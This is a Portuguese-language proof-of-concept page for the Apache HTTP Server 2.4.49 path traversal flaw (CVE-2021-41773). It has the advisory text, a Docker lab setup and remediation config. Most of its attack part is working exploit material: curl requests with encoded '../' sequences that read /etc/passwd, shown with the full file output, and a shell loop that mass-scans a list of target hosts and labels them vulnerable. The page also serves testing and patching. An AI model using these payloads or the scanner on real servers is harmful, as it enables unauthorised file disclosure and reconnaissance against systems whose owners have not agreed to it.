
Prova de conceito (PoC) e exploit para a vulnerabilidade de travessia de caminho (path traversal) no Apache HTTP Server 2.4.49 (CVE-2021-41773) com configuração Docker, comandos de exploração baseados em curl e orientação de remediação.
Vulnerabilidade de travessia de caminho e divulgação de arquivos no Apache HTTP Server 2.4.49 (CVE-2021-41773)
Foi encontrada uma falha numa alteração feita à normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de travessia de caminho para mapear URLs para ficheiros fora da raiz de documentos esperada.
Se os ficheiros fora da raiz de documentos não estiverem protegidos por "require all denied", estes pedidos podem ser bem-sucedidos. Além disso, esta falha poderia divulgar o código-fonte de ficheiros interpretados, como scripts CGI.
Sabe-se que este problema é explorado ativamente.
Este problema afeta apenas o Apache 2.4.49 e não versões anteriores.
Agradecimentos: Este problema foi reportado por Ash Daulton juntamente com a equipa de segurança da cPanel
Reportado à equipa de segurança 2021-09-29 corrigido por r1893775 na 2.4.50 2021-10-01 Atualização 2.4.50 lançada 2021-10-04 Afeta 2.4.49
$ docker build -t cve-2021-41773 .
$ docker run --rm -d -p 80:80 cve-2021-41773
$ curl -I http://localhost
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 13:25:18 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html
curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
cat targets | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
root:x:0:0:root:/root:/bin/ash
operator:x:11:0:operator:/root:/sbin/nologin
localhost Vulnerable
<!-- Vulnerável (Require all granted em '/') -->
<Directory />
Options FollowSymLinks
AllowOverride None
Require all granted
</Directory>
<!-- Corrigido (Require all denied em '/') -->
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>